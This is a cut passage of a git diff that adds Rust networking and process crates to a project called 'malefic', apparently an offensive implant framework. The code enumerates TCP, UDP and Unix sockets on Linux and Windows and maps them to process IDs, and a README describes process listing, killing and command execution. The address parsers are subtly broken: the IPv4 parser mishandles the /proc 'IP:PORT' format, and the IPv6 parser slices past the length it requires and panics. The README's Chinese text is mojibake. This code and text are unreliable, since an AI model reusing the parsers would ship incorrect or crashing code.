NLM_F_REQUEST | NLM_F_DUMP, + nlmsg_seq: 1, + nlmsg_pid: 0, + }; + + let mut buf = vec![0u8; nlh.nlmsg_len as usize]; + unsafe { + let nlh_ptr = buf.as_mut_ptr() as *mut NlMsgHdr; + *nlh_ptr = nlh; + let req_ptr = buf.as_mut_ptr().add(NLMSG_HDRLEN) as *mut InetDiagReqV2; + *req_ptr = req; + } + + Ok(buf) +} + +fn create_unix_request() -> Result, Error> { + let req = UnixDiagReq { + family: libc::AF_UNIX as u8, + protocol: 0, + pad: 0, + states: TCPF_ALL, + ino: 0, + show: UDIAG_SHOW_NAME | UDIAG_SHOW_PEER, + cookie: [0; 2], + }; + + let nlh = NlMsgHdr { + nlmsg_len: (NLMSG_HDRLEN + mem::size_of::()) as u32, + nlmsg_type: SOCK_DIAG_BY_FAMILY, + nlmsg_flags: NLM_F_REQUEST | NLM_F_DUMP, + nlmsg_seq: 1, + nlmsg_pid: 0, + }; + + let mut buf = vec![0u8; nlh.nlmsg_len as usize]; + unsafe { + let nlh_ptr = buf.as_mut_ptr() as *mut NlMsgHdr; + *nlh_ptr = nlh; + let req_ptr = buf.as_mut_ptr().add(NLMSG_HDRLEN) as *mut UnixDiagReq; + *req_ptr = req; + } + + Ok(buf) +} + +fn send_netlink_request(sock: i32, buf: &[u8]) -> Result<(), Error> { + let sent = unsafe { libc::send(sock, buf.as_ptr() as *const libc::c_void, buf.len(), 0) }; + + if sent < 0 { + return Err(Error::last_os_error()); + } + + if sent != buf.len() as isize { + return Err(Error::new( + ErrorKind::Other, + "Failed to send complete netlink message", + )); + } + + Ok(()) +} + +fn receive_netlink_response(sock: i32) -> Result, Error> { + let mut buf = vec![0u8; 8192]; + let received = unsafe { libc::recv(sock, buf.as_mut_ptr() as *mut libc::c_void, buf.len(), 0) }; + + if received < 0 { + return Err(Error::last_os_error()); + } + + buf.truncate(received as usize); + Ok(buf) +} + +fn parse_inet_response(buf: Vec, protocol: Protocol) -> Result, Error> { + let mut sockets = Vec::new(); + let mut offset = 0; + + while offset < buf.len() { + let nlh = unsafe { &*(buf.as_ptr().add(offset) as *const NlMsgHdr) }; + + if nlh.nlmsg_type == libc::NLMSG_DONE as u16 { + break; + } + + if nlh.nlmsg_type == libc::NLMSG_ERROR as u16 { + let err = unsafe { *(buf.as_ptr().add(offset + NLMSG_HDRLEN) as *const i32) }; + if err != 0 { + return Err(Error::from_raw_os_error(-err)); + } + break; + } + + let diag_msg = unsafe { &*(buf.as_ptr().add(offset + NLMSG_HDRLEN) as *const InetDiagMsg) }; + + let socket = parse_inet_diag_msg(diag_msg, protocol)?; + sockets.push(socket); + + offset += nlmsg_align(nlh.nlmsg_len as usize); + } + + Ok(sockets) +} + +fn parse_unix_response(buf: Vec) -> Result, Error> { + let mut sockets = Vec::new(); + let mut offset = 0; + + while offset < buf.len() { + let nlh = unsafe { &*(buf.as_ptr().add(offset) as *const NlMsgHdr) }; + + if nlh.nlmsg_type == libc::NLMSG_DONE as u16 { + break; + } + + if nlh.nlmsg_type == libc::NLMSG_ERROR as u16 { + let err = unsafe { *(buf.as_ptr().add(offset + NLMSG_HDRLEN) as *const i32) }; + if err != 0 { + return Err(Error::from_raw_os_error(-err)); + } + break; + } + + let diag_msg = unsafe { &*(buf.as_ptr().add(offset + NLMSG_HDRLEN) as *const UnixDiagMsg) }; + let mut attr_offset = offset + NLMSG_HDRLEN + mem::size_of::(); + let mut path = String::new(); + + // Parse attributes to get the socket path + while attr_offset < offset + nlh.nlmsg_len as usize { + let attr = unsafe { &*(buf.as_ptr().add(attr_offset) as *const NlAttr) }; + if attr.nla_type == 0 { + // UNIX_DIAG_NAME + let data_ptr = unsafe { buf.as_ptr().add(attr_offset + mem::size_of::()) }; + let data_len = attr.nla_len as usize - mem::size_of::(); + path = String::from_utf8_lossy( + &buf[attr_offset + mem::size_of::() + ..attr_offset + mem::size_of::() + data_len], + ) + .to_string(); + break; + } + attr_offset += nlmsg_align(attr.nla_len as usize); + } + + let state = match diag_msg.type_ { + SOCK_STREAM | SOCK_SEQPACKET => match diag_msg.state { + UNIX_STATE_LISTENING => "LISTEN".to_string(), + UNIX_STATE_CONNECTED => "ESTABLISHED".to_string(), + UNIX_STATE_DISCONNECTING => "CLOSING".to_string(), + UNIX_STATE_DISCONNECTED => "LAST_ACK".to_string(), + UNIX_STATE_UNCONNECTED => "DISCONNECTED".to_string(), + _ => "UNKNOWN".to_string(), + }, + SOCK_DGRAM => "DGRAM".to_string(), + _ => "UNKNOWN".to_string(), + }; + + sockets.push(Socket { + local_addr: path, + remote_addr: String::new(), + protocol: "unix".to_string(), + pid: super::procfs::find_process_by_inode(diag_msg.ino as u64).unwrap_or(0), + state, + }); + + offset += nlmsg_align(nlh.nlmsg_len as usize); + } + + Ok(sockets) +} + +fn parse_inet_diag_msg(msg: &InetDiagMsg, protocol: Protocol) -> Result { + let (local_addr, remote_addr) = if msg.family as i32 == libc::AF_INET { + ( + format_ip( + Ipv4Addr::from(u32::from_be(msg.id.src[0])).into(), + u16::from_be(msg.id.sport), + ), + format_ip( + Ipv4Addr::from(u32::from_be(msg.id.dst[0])).into(), + u16::from_be(msg.id.dport), + ), + ) + } else { + ( + format_ip( + Ipv6Addr::from([ + ((msg.id.src[0] >> 16) & 0xFFFF) as u16, + (msg.id.src[0] & 0xFFFF) as u16, + ((msg.id.src[1] >> 16) & 0xFFFF) as u16, + (msg.id.src[1] & 0xFFFF) as u16, + ((msg.id.src[2] >> 16) & 0xFFFF) as u16, + (msg.id.src[2] & 0xFFFF) as u16, + ((msg.id.src[3] >> 16) & 0xFFFF) as u16, + (msg.id.src[3] & 0xFFFF) as u16, + ]) + .into(), + u16::from_be(msg.id.sport), + ), + format_ip( + Ipv6Addr::from([ + ((msg.id.dst[0] >> 16) & 0xFFFF) as u16, + (msg.id.dst[0] & 0xFFFF) as u16, + ((msg.id.dst[1] >> 16) & 0xFFFF) as u16, + (msg.id.dst[1] & 0xFFFF) as u16, + ((msg.id.dst[2] >> 16) & 0xFFFF) as u16, + (msg.id.dst[2] & 0xFFFF) as u16, + ((msg.id.dst[3] >> 16) & 0xFFFF) as u16, + (msg.id.dst[3] & 0xFFFF) as u16, + ]) + .into(), + u16::from_be(msg.id.dport), + ), + ) + }; + + let pid = find_pid_by_uid_and_inode(msg.uid, msg.inode as u64) + .or_else(|| super::procfs::find_process_by_inode(msg.inode as u64)) + .unwrap_or(0); + + Ok(Socket { + local_addr, + remote_addr, + protocol: protocol.as_str().to_string(), + pid, + state: match protocol { + Protocol::Tcp | Protocol::Tcp6 => tcp_state_to_string(msg.state), + _ => String::new(), + }, + }) +} + +fn find_pid_by_uid_and_inode(uid: u32, inode: u64) -> Option { + if let Ok(entries) = std::fs::read_dir("/proc") { + for entry in entries.filter_map(Result::ok) { + let path = entry.path(); + if !path.is_dir() { + continue; + } + + // Check if it's a numeric (PID) directory + if let Some(pid_str) = path.file_name() { + if let Some(pid_str) = pid_str.to_str() { + if let Ok(pid) = pid_str.parse::() { + // First check the process uid + if let Ok(status) = std::fs::read_to_string(path.join("status")) { + if !status.lines().any(|line| { + line.starts_with("Uid:") + && line.split_whitespace().nth(1).map_or(false, |real_uid| { + real_uid + .parse::() + .map_or(false, |uid_val| uid_val == uid) + }) + }) { + continue; + } + + // Check if there's a matching socket inode + let fd_dir = path.join("fd"); + if let Ok(fd_entries) = std::fs::read_dir(fd_dir) { + for fd_entry in fd_entries.filter_map(Result::ok) { + if let Ok(target) = fd_entry.path().read_link() { + if let Some(target_str) = target.to_str() { + if target_str.contains(&format!("socket:[{}]", inode)) { + return Some(pid); + } + } + } + } + } + + // Check thread file descriptors + let task_dir = path.join("task"); + if let Ok(task_entries) = std::fs::read_dir(task_dir) { + for task_entry in task_entries.filter_map(Result::ok) { + let fd_dir = task_entry.path().join("fd"); + if let Ok(fd_entries) = std::fs::read_dir(fd_dir) { + for fd_entry in fd_entries.filter_map(Result::ok) { + if let Ok(target) = fd_entry.path().read_link() { + if let Some(target_str) = target.to_str() { + if target_str + .contains(&format!("socket:[{}]", inode)) + { + return Some(pid); + } + } + } + } + } + } + } + } + } + } + } + } + } + None +} diff --git a/malefic-crates/net/src/linux/procfs.rs b/malefic-crates/net/src/linux/procfs.rs new file mode 100644 index 0000000..bca33d5 --- /dev/null +++ b/malefic-crates/net/src/linux/procfs.rs @@ -0,0 +1,274 @@ +use std::fs::File; +use std::io::{BufRead, BufReader, Error}; +use std::path::{Path, PathBuf}; + +use super::socket::{ + format_ip, parse_hex_ip_v4, parse_hex_ip_v6, tcp_state_to_string, Protocol, Socket, +}; + +pub struct ProcReader { + protocol: Protocol, + path: PathBuf, +} + +impl ProcReader { + pub fn new>(protocol: Protocol, path: P) -> Self { + ProcReader { + protocol, + path: path.as_ref().to_owned(), + } + } + + pub fn read_sockets(&self) -> Result, Error> { + let file = File::open(&self.path)?; + let reader = BufReader::new(file); + let mut sockets = Vec::new(); + + // Skip header line + for line in reader.lines().skip(1) { + let line = line?; + if let Some(socket) = self.parse_line(&line) { + sockets.push(socket); + } + } + + Ok(sockets) + } + + fn parse_line(&self, line: &str) -> Option { + let fields: Vec<&str> = line.split_whitespace().collect(); + if fields.len() < 7 { + return None; + } + + match self.protocol { + Protocol::Unix => self.parse_unix_line(&fields), + _ => self.parse_inet_line(&fields), + } + } + + fn parse_unix_line(&self, fields: &[&str]) -> Option { + let inode = fields[6].parse::().ok()?; + let path = if fields.len() >= 8 { fields[7] } else { "" }; + let type_and_state = u32::from_str_radix(fields[4], 16).ok()?; + let socket_type = type_and_state & 0xf; + let flags = u32::from_str_radix(fields[5], 16).ok()?; + + // According to /proc/net/unix format, flags field meanings: + // 0x00000000: not connected + // 0x00000001: connected + // 0x00000010: listening + let state = match socket_type { + 1 => { + // SOCK_STREAM + if flags & 0x10 != 0 { + // ACC flag (SO_ACCEPTCON) + "LISTEN".to_string() + } else if flags & 0x01 != 0 { + // CONNECTED flag + "ESTABLISHED".to_string() + } else if flags & 0x02 != 0 { + // W_DISCONNECT + "CLOSING".to_string() + } else if flags & 0x04 != 0 { + // R_DISCONNECT + "LAST_ACK".to_string() + } else { + "DISCONNECTED".to_string() + } + } + 2 => "DGRAM".to_string(), // SOCK_DGRAM + 5 => { + // SOCK_SEQPACKET + if flags & 0x10 != 0 { + // ACC flag (SO_ACCEPTCON) + "LISTEN".to_string() + } else if flags & 0x01 != 0 { + // CONNECTED flag + "ESTABLISHED".to_string() + } else if flags & 0x02 != 0 { + // W_DISCONNECT + "CLOSING".to_string() + } else if flags & 0x04 != 0 { + // R_DISCONNECT + "LAST_ACK".to_string() + } else { + "DISCONNECTED".to_string() + } + } + _ => "UNKNOWN".to_string(), + }; + + Some(Socket { + local_addr: path.to_string(), + remote_addr: String::new(), + protocol: self.protocol.as_str().to_string(), + pid: find_process_by_inode(inode).unwrap_or(0), + state, + }) + } + + fn parse_inet_line(&self, fields: &[&str]) -> Option { + if fields.len() < 12 { + return None; + } + + let (local_addr, remote_addr) = match self.protocol { + Protocol::Tcp | Protocol::Udp => { + let local = parse_hex_ip_v4(fields[1])?; + let remote = parse_hex_ip_v4(fields[2])?; + ( + format_ip(local.0.into(), local.1), + format_ip(remote.0.into(), remote.1), + ) + } + Protocol::Tcp6 | Protocol::Udp6 => { + let local = parse_hex_ip_v6(fields[1])?; + let remote = parse_hex_ip_v6(fields[2])?; + ( + format_ip(local.0.into(), local.1), + format_ip(remote.0.into(), remote.1), + ) + } + Protocol::Unix => unreachable!(), + }; + + let state = match self.protocol { + Protocol::Tcp | Protocol::Tcp6 => { + let state_num = u8::from_str_radix(fields[3], 16).ok()?; + tcp_state_to_string(state_num) + } + _ => String::new(), + }; + + let inode = fields[9].parse::().ok()?; + let pid = find_process_by_inode(inode).unwrap_or(0); + + Some(Socket { + local_addr, + remote_addr, + protocol: self.protocol.as_str().to_string(), + pid, + state, + }) + } +} + +pub fn find_process_by_inode(inode: u64) -> Option { + // First check all process file descriptors + if let Ok(entries) = std::fs::read_dir("/proc") { + for entry in entries.filter_map(Result::ok) { + let path = entry.path(); + if !path.is_dir() { + continue; + } + + // Check if it's a numeric (PID) directory + if let Some(pid_str) = path.file_name() { + if let Some(pid_str) = pid_str.to_str() { + if let Ok(pid) = pid_str.parse::() { + // Check process file descriptors + let fd_dir = path.join("fd"); + if let Ok(fd_entries) = std::fs::read_dir(fd_dir) { + for fd_entry in fd_entries.filter_map(Result::ok) { + if let Ok(target) = fd_entry.path().read_link() { + if let Some(target_str) = target.to_str() { + if target_str.contains(&format!("socket:[{}]", inode)) { + return Some(pid); + } + } + } + } + } + + // Check thread file descriptors + let task_dir = path.join("task"); + if let Ok(task_entries) = std::fs::read_dir(task_dir) { + for task_entry in task_entries.filter_map(Result::ok) { + let fd_dir = task_entry.path().join("fd"); + if let Ok(fd_entries) = std::fs::read_dir(fd_dir) { + for fd_entry in fd_entries.filter_map(Result::ok) { + if let Ok(target) = fd_entry.path().read_link() { + if let Some(target_str) = target.to_str() { + if target_str + .contains(&format!("socket:[{}]", inode)) + { + return Some(pid); + } + } + } + } + } + } + } + } + } + } + } + } + + // If not found, try to find from /proc/net/tcp and /proc/net/udp + for file in &[ + "/proc/net/tcp", + "/proc/net/tcp6", + "/proc/net/udp", + "/proc/net/udp6", + ] { + if let Ok(content) = std::fs::read_to_string(file) { + for line in content.lines().skip(1) { + let fields: Vec<&str> = line.split_whitespace().collect(); + if fields.len() >= 10 { + if let Ok(socket_inode) = fields[9].parse::() { + if socket_inode == inode { + // Found matching inode, now try to find corresponding process by uid + if let Ok(uid) = fields[7].parse::() { + return find_pid_by_uid(uid); + } + } + } + } + } + } + } + + None +} + +fn find_pid_by_uid(uid: u32) -> Option { + if let Ok(entries) = std::fs::read_dir("/proc") { + for entry in entries.filter_map(Result::ok) { + let path = entry.path(); + if !path.is_dir() { + continue; + } + + if let Some(pid_str) = path.file_name() { + if let Some(pid_str) = pid_str.to_str() { + if let Ok(pid) = pid_str.parse::() { + if let Ok(status) = std::fs::read_to_string(path.join("status")) { + if status.lines().any(|line| { + line.starts_with("Uid:") + && line.split_whitespace().nth(1).map_or(false, |real_uid| { + real_uid + .parse::() + .map_or(false, |uid_val| uid_val == uid) + }) + }) { + return Some(pid); + } + } + } + } + } + } + } + None +} + +pub fn read_proc_net_file>( + protocol: Protocol, + path: P, +) -> Result, Error> { + let reader = ProcReader::new(protocol, path); + reader.read_sockets() +} diff --git a/malefic-crates/net/src/linux/socket.rs b/malefic-crates/net/src/linux/socket.rs new file mode 100644 index 0000000..3bc696e --- /dev/null +++ b/malefic-crates/net/src/linux/socket.rs @@ -0,0 +1,79 @@ +use malefic_gateway::ObfDebug; +use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; + +#[derive(ObfDebug, Clone)] +pub struct Socket { + pub local_addr: String, + pub remote_addr: String, + pub protocol: String, + pub pid: u32, + pub state: String, +} + +#[derive(ObfDebug, Clone, Copy)] +pub enum Protocol { + Tcp, + Tcp6, + Udp, + Udp6, + Unix, +} + +impl Protocol { + pub fn as_str(&self) -> &'static str { + match self { + Protocol::Tcp => "tcp", + Protocol::Tcp6 => "tcp6", + Protocol::Udp => "udp", + Protocol::Udp6 => "udp6", + Protocol::Unix => "unix", + } + } +} + +pub fn tcp_state_to_string(state: u8) -> String { + match state { + 1 => "ESTABLISHED".to_string(), + 2 => "SYN_SENT".to_string(), + 3 => "SYN_RECV".to_string(), + 4 => "FIN_WAIT1".to_string(), + 5 => "FIN_WAIT2".to_string(), + 6 => "TIME_WAIT".to_string(), + 7 => "CLOSE".to_string(), + 8 => "CLOSE_WAIT".to_string(), + 9 => "LAST_ACK".to_string(), + 10 => "LISTEN".to_string(), + 11 => "CLOSING".to_string(), + _ => format!("UNKNOWN({})", state), + } +} + +pub fn format_ip(ip: IpAddr, port: u16) -> String { + match ip { + IpAddr::V4(addr) => format!("{}:{}", addr, port), + IpAddr::V6(addr) => format!("[{}]:{}", addr, port), + } +} + +pub fn parse_hex_ip_v4(hex: &str) -> Option<(Ipv4Addr, u16)> { + if hex.len() != 8 { + return None; + } + let addr = u32::from_str_radix(hex, 16).ok()?; + let port = (addr & 0xFFFF) as u16; + let ip = Ipv4Addr::from((addr >> 16) as u32); + Some((ip, port)) +} + +pub fn parse_hex_ip_v6(hex: &str) -> Option<(Ipv6Addr, u16)> { + if hex.len() != 32 { + return None; + } + let mut segments = [0u16; 8]; + for i in 0..8 { + segments[i] = u16::from_str_radix(&hex[i * 4..(i + 1) * 4], 16).ok()?; + } + let ip = Ipv6Addr::from(segments); + let port = u16::from_str_radix(&hex[32..36], 16).ok()?; + Some((ip, port)) +} diff --git a/malefic-crates/net/src/win/mod.rs b/malefic-crates/net/src/win/mod.rs new file mode 100644 index 0000000..543c2d5 --- /dev/null +++ b/malefic-crates/net/src/win/mod.rs @@ -0,0 +1,346 @@ +use std::io::Error; +use std::net::{Ipv4Addr, Ipv6Addr}; +use windows::Win32::Foundation::ERROR_SUCCESS; +use windows::Win32::NetworkManagement::IpHelper::{ + GetExtendedTcpTable, GetExtendedUdpTable, MIB_TCP6ROW_OWNER_PID, MIB_TCP6TABLE_OWNER_PID, + MIB_TCPROW_OWNER_PID, MIB_TCPTABLE_OWNER_PID, MIB_UDP6ROW_OWNER_PID, MIB_UDP6TABLE_OWNER_PID, + MIB_UDPROW_OWNER_PID, MIB_UDPTABLE_OWNER_PID, TCP_TABLE_CLASS, TCP_TABLE_OWNER_PID_ALL, + UDP_TABLE_CLASS, UDP_TABLE_OWNER_PID, +}; +use windows::Win32::Networking::WinSock::{AF_INET, AF_INET6}; + +#[derive(Clone)] +pub struct Socket { + pub local_addr: String, + pub remote_addr: String, + pub protocol: String, + pub pid: u32, + pub state: String, +} + +pub trait SocketTable { + fn get_table() -> Result, Error>; + fn get_rows_count(table: &[u8]) -> usize; + fn get_socket_info(table: &[u8], index: usize) -> Socket; +} + +#[allow(private_bounds)] +pub struct SocketTableIterator { + table: Vec, + rows_count: usize, + current_row_index: usize, + info_getter: fn(&[u8], usize) -> Socket, +} + +impl SocketTableIterator { + pub fn new() -> Result { + let table = Table::get_table()?; + Ok(SocketTableIterator { + rows_count: Table::get_rows_count(&table), + info_getter: Table::get_socket_info, + current_row_index: 0, + table, + }) + } +} + +impl Iterator for SocketTableIterator { + type Item = Result; + fn next(&mut self) -> Option { + if self.current_row_index == self.rows_count { + None + } else { + let socket_info = (self.info_getter)(&self.table, self.current_row_index); + self.current_row_index += 1; + Some(Ok(socket_info)) + } + } +} + +impl SocketTable for MIB_TCPTABLE_OWNER_PID { + fn get_table() -> Result, Error> { + get_extended_tcp_table(u32::from(AF_INET.0)) + } + + fn get_rows_count(table: &[u8]) -> usize { + let table = unsafe { &*(table.as_ptr() as *const MIB_TCPTABLE_OWNER_PID) }; + table.dwNumEntries as usize + } + + fn get_socket_info(table: &[u8], index: usize) -> Socket { + let table = unsafe { &*(table.as_ptr() as *const MIB_TCPTABLE_OWNER_PID) }; + let rows_ptr = &table.table[0] as *const MIB_TCPROW_OWNER_PID; + let row = unsafe { &*rows_ptr.add(index) }; + Socket { + local_addr: format!( + "{}:{}", + Ipv4Addr::from(u32::from_be(row.dwLocalAddr)), + u16::from_be((row.dwLocalPort & 0xFFFF) as u16) + ), + remote_addr: format!( + "{}:{}", + Ipv4Addr::from(u32::from_be(row.dwRemoteAddr)), + u16::from_be((row.dwRemotePort & 0xFFFF) as u16) + ), + protocol: "tcp".to_string(), + pid: row.dwOwningPid, + state: tcp_state_to_string(row.dwState), + } + } +} + +impl SocketTable for MIB_TCP6TABLE_OWNER_PID { + fn get_table() -> Result, Error> { + get_extended_tcp_table(u32::from(AF_INET6.0)) + } + + fn get_rows_count(table: &[u8]) -> usize { + let table = unsafe { &*(table.as_ptr() as *const MIB_TCP6TABLE_OWNER_PID) }; + table.dwNumEntries as usize + } + + fn get_socket_info(table: &[u8], index: usize) -> Socket { + let table = unsafe { &*(table.as_ptr() as *const MIB_TCP6TABLE_OWNER_PID) }; + let rows_ptr = &table.table[0] as *const MIB_TCP6ROW_OWNER_PID; + let row = unsafe { &*rows_ptr.add(index) }; + Socket { + local_addr: format!( + "[{}]:{}", + Ipv6Addr::from(row.ucLocalAddr), + u16::from_be(row.dwLocalPort as u16) + ), + remote_addr: format!( + "[{}]:{}", + Ipv6Addr::from(row.ucRemoteAddr), + u16::from_be(row.dwRemotePort as u16) + ), + protocol: "tcp6".to_string(), + pid: row.dwOwningPid, + state: tcp_state_to_string(row.dwState), + } + } +} + +impl SocketTable for MIB_UDPTABLE_OWNER_PID { + fn get_table() -> Result, Error> { + get_extended_udp_table(u32::from(AF_INET.0)) + } + + fn get_rows_count(table: &[u8]) -> usize { + let table = unsafe { &*(table.as_ptr() as *const MIB_UDPTABLE_OWNER_PID) }; + table.dwNumEntries as usize + } + + fn get_socket_info(table: &[u8], index: usize) -> Socket { + let table = unsafe { &*(table.as_ptr() as *const MIB_UDPTABLE_OWNER_PID) }; + let rows_ptr = &table.table[0] as *const MIB_UDPROW_OWNER_PID; + let row = unsafe { &*rows_ptr.add(index) }; + Socket { + local_addr: format!( + "{}:{}", + Ipv4Addr::from(u32::from_be(row.dwLocalAddr)), + u16::from_be((row.dwLocalPort & 0xFFFF) as u16) + ), + remote_addr: String::new(), + protocol: "udp".to_string(), + pid: row.dwOwningPid, + state: String::new(), + } + } +} + +impl SocketTable for MIB_UDP6TABLE_OWNER_PID { + fn get_table() -> Result, Error> { + get_extended_udp_table(u32::from(AF_INET6.0)) + } + + fn get_rows_count(table: &[u8]) -> usize { + let table = unsafe { &*(table.as_ptr() as *const MIB_UDP6TABLE_OWNER_PID) }; + table.dwNumEntries as usize + } + + fn get_socket_info(table: &[u8], index: usize) -> Socket { + let table = unsafe { &*(table.as_ptr() as *const MIB_UDP6TABLE_OWNER_PID) }; + let rows_ptr = &table.table[0] as *const MIB_UDP6ROW_OWNER_PID; + let row = unsafe { &*rows_ptr.add(index) }; + Socket { + local_addr: format!( + "[{}]:{}", + Ipv6Addr::from(row.ucLocalAddr), + u16::from_be(row.dwLocalPort as u16) + ), + remote_addr: String::new(), + protocol: "udp6".to_string(), + pid: row.dwOwningPid, + state: String::new(), + } + } +} + +pub fn get_sockets(ipv4: bool, ipv6: bool, tcp: bool, udp: bool) -> Result, Error> { + let mut sockets = Vec::new(); + + if tcp { + if ipv4 { + sockets.extend( + SocketTableIterator::new::()?.filter_map(Result::ok), + ); + } + if ipv6 { + sockets.extend( + SocketTableIterator::new::()?.filter_map(Result::ok), + ); + } + } + + if udp { + if ipv4 { + sockets.extend( + SocketTableIterator::new::()?.filter_map(Result::ok), + ); + } + if ipv6 { + sockets.extend( + SocketTableIterator::new::()?.filter_map(Result::ok), + ); + } + } + + Ok(sockets) +} + +fn get_extended_tcp_table(address_family: u32) -> Result, Error> { + let mut table_size = 0; + let mut err_code = unsafe { + GetExtendedTcpTable( + None, + &mut table_size, + false, + address_family, + TCP_TABLE_CLASS(TCP_TABLE_OWNER_PID_ALL.0), + 0, + ) + }; + + let mut table = Vec::new(); + let mut iterations = 0; + while err_code != ERROR_SUCCESS.0 && err_code == 122 { + table = vec![0u8; table_size as usize]; + err_code = unsafe { + GetExtendedTcpTable( + Some(table.as_mut_ptr() as _), + &mut table_size, + false, + address_family, + TCP_TABLE_CLASS(TCP_TABLE_OWNER_PID_ALL.0), + 0, + ) + }; + iterations += 1; + if iterations > 100 { + return Err(Error::new( + std::io::ErrorKind::Other, + "Failed to allocate buffer", + )); + } + } + + if err_code == ERROR_SUCCESS.0 { + Ok(table) + } else { + Err(Error::last_os_error()) + } +} + +fn get_extended_udp_table(address_family: u32) -> Result, Error> { + let mut table_size = 0; + let mut err_code = unsafe { + GetExtendedUdpTable( + None, + &mut table_size, + false, + address_family, + UDP_TABLE_CLASS(UDP_TABLE_OWNER_PID.0), + 0, + ) + }; + + let mut table = Vec::new(); + let mut iterations = 0; + while err_code != ERROR_SUCCESS.0 && err_code == 122 { + table = vec![0u8; table_size as usize]; + err_code = unsafe { + GetExtendedUdpTable( + Some(table.as_mut_ptr() as _), + &mut table_size, + false, + address_family, + UDP_TABLE_CLASS(UDP_TABLE_OWNER_PID.0), + 0, + ) + }; + iterations += 1; + if iterations > 100 { + return Err(Error::new( + std::io::ErrorKind::Other, + "Failed to allocate buffer", + )); + } + } + + if err_code == ERROR_SUCCESS.0 { + Ok(table) + } else { + Err(Error::last_os_error()) + } +} + +fn tcp_state_to_string(state: u32) -> String { + match state { + 1 => "CLOSED".to_string(), + 2 => "LISTEN".to_string(), + 3 => "SYN_SENT".to_string(), + 4 => "SYN_RCVD".to_string(), + 5 => "ESTABLISHED".to_string(), + 6 => "FIN_WAIT1".to_string(), + 7 => "FIN_WAIT2".to_string(), + 8 => "CLOSE_WAIT".to_string(), + 9 => "CLOSING".to_string(), + 10 => "LAST_ACK".to_string(), + 11 => "TIME_WAIT".to_string(), + 12 => "DELETE_TCB".to_string(), + _ => format!("UNKNOWN({})", state), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_get_sockets() { + let sockets = get_sockets(true, true, true, true).unwrap(); + assert!(!sockets.is_empty(), "Should get some sockets"); + } + + #[test] + fn test_tcp_sockets() { + let sockets = get_sockets(true, false, true, false).unwrap(); + for socket in sockets { + assert_eq!(socket.protocol, "tcp"); + assert!(!socket.local_addr.is_empty()); + assert!(!socket.state.is_empty()); + } + } + + #[test] + fn test_udp_sockets() { + let sockets = get_sockets(true, false, false, true).unwrap(); + for socket in sockets { + assert_eq!(socket.protocol, "udp"); + assert!(!socket.local_addr.is_empty()); + assert!(socket.state.is_empty()); + assert!(socket.remote_addr.is_empty()); + } + } +} diff --git a/malefic-crates/process/Cargo.toml b/malefic-crates/process/Cargo.toml new file mode 100644 index 0000000..d890417 --- /dev/null +++ b/malefic-crates/process/Cargo.toml @@ -0,0 +1,32 @@ +[package] +name = "malefic-process" +version = "0.1.0" +edition = "2021" + +[dependencies] +anyhow = { workspace = true } +async-process = { workspace = true } +malefic-common = { workspace = true } +malefic-gateway = { workspace = true } + +[target.'cfg(target_os = "windows")'.dependencies] +windows = { workspace = true, features = [ + "Win32_Foundation", + "Win32_System_Threading", + "Win32_System_Diagnostics_ToolHelp", + "Win32_System_ProcessStatus", + "Win32_System_SystemInformation", + "Win32_Security", + "Win32_UI_Shell", + "Win32_UI_WindowsAndMessaging", + "Win32_Storage_FileSystem", + "Wdk_System_Threading", + "Wdk_System", +] } + +[target.'cfg(unix)'.dependencies] +nix = { workspace = true } +libc = { workspace = true } + +[dev-dependencies] +tokio = { workspace = true, features = ["rt", "macros"] } diff --git a/malefic-crates/process/README.md b/malefic-crates/process/README.md new file mode 100644 index 0000000..352f8f1 --- /dev/null +++ b/malefic-crates/process/README.md @@ -0,0 +1,93 @@ +# malefic-process + +跨平å°è¿›ç¨‹ç®¡ç†ä¸Žæžšä¸¾å·¥å…·åº“ï¼Œæ”¯æŒ Windowsã€Linuxã€macOSï¼ˆå« Android)。 + +## 功能简介 + +- æžšä¸¾ç³»ç»Ÿæ‰€æœ‰è¿›ç¨‹ï¼ŒèŽ·å– PIDã€PPIDã€è¿›ç¨‹åã€è·¯å¾„ã€æž¶æž„ã€æ‰€å±žç”¨æˆ·åŠå‘½ä»¤è¡Œå‚æ•° +- æ ¹æ® PID 查询å•ä¸ªè¿›ç¨‹çš„è¯¦ç»†ä¿¡æ¯ +- 获å–当å‰è¿›ç¨‹ä¿¡æ¯ +- 终止指定 PID 的进程(`kill`) +- åŒæ­¥ / 异步方å¼å¯åЍå­è¿›ç¨‹ï¼Œå¹¶æ•获 stdout 与 stderr +- 检测文件是å¦è¢«å ç”¨ï¼ˆ`is_file_in_use`) +- 调用系统 Shell 执行文件(Windows 使用 `ShellExecuteW`,Unix 直接 `spawn`) + +## å¹³å°å®žçް + +| å¹³å° | å®žçŽ°æ–¹å¼ | +|------|----------| +| Windows | ToolHelp32 快照枚举进程;`NtQueryInformationProcess` 获å–命令行;`IsWow64Process` 判断架构;Token æŸ¥è¯¢èŽ·å–æ‰€å±žç”¨æˆ· | +| Linux / Android | è¯»å– `/proc` 文件系统(`stat`ã€`status`ã€`exe`ã€`cmdline`ï¼‰ï¼›è§£æž ELF 头判断 32/64 ä½ | +| macOS | `sysctl` + `KERN_PROC` 枚举进程;`proc_pidpath` 获å–路径;`KERN_PROCARGS2` 读å–命令行;`P_LP64` 标志判断架构 | + +## 核心类型 + +```rust +pub struct Process { + pub name: String, // 进程å + pub pid: u32, // 进程 ID + pub ppid: u32, // 父进程 ID + pub arch: String, // 架构(x86 / x64 / arm / aarch64) + pub owner: String, // 所属用户 + pub path: String, // 坿‰§è¡Œæ–‡ä»¶è·¯å¾„ + pub args: String, // å‘½ä»¤è¡Œå‚æ•° +} +``` + +## 基本用法 + +```rust +use malefic_process::{get_processes, get_process, get_current_process, kill}; + +// 枚举所有进程 +let processes = get_processes().unwrap(); +for (pid, proc) in &processes { + println!("[{}] {} - {}", pid, proc.name, proc.path); +} + +// 查询å•个进程 +let proc = get_process(1234).unwrap(); +println!("owner: {}, arch: {}", proc.owner, proc.arch); + +// 获å–当å‰è¿›ç¨‹ +if let Some(current) = get_current_process() { + println!("当å‰è¿›ç¨‹: {} (PID {})", current.name, current.pid); +} + +// 终止进程 +kill(1234).unwrap(); +``` + +### å¯åЍå­è¿›ç¨‹ + +```rust +use malefic_process::{run_command, async_command}; + +// åŒæ­¥å¯åЍ +let child = run_command("/bin/ls".into(), vec!["-la".into()]).unwrap(); + +// 异步å¯åЍ +let child = async_command("/bin/ls".into(), vec!["-la".into()]).unwrap(); +``` + +### Shell 执行与文件å ç”¨æ£€æµ‹ + +```rust +use 